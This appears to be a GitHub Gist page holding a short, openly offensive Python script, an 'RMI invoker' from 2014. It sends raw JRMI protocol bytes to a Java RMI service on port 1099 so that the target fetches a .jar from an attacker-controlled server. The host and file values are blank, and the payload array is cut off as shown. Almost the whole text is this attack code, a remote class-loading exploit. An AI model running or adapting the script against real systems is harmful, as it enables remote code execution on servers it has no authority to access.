Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Quick and dirty RMI invoker
Python implementation of RMI invoker. Should try fetch a .jar from a server we control.
Author: Etienne Stalmans <>
Version: 08/10/2014 - v0.1
import socket
import binascii
import struct
HOST = ''
PORT = 1099
fileloc = ""
dlen = len(fileloc)
data = ["\x4a\x52\x4d\x49\x00\x02\x4b\x00\x00\x00\x00\x00\x00",
#struct.pack("h%ds" % (len(fileloc),), len(fileloc), fileloc), #where to download from
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dp = s.recv(1024)
#print "Response from RMI server: %s"%repr(dp)
dp = s.recv(2024)
dp = s.recv(2024)
#print "Response from RMI server: %s"%repr(dp)
if "RMI class loader disabled" in dp:
print "[x] RMI class loader disabled.. No cigar"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.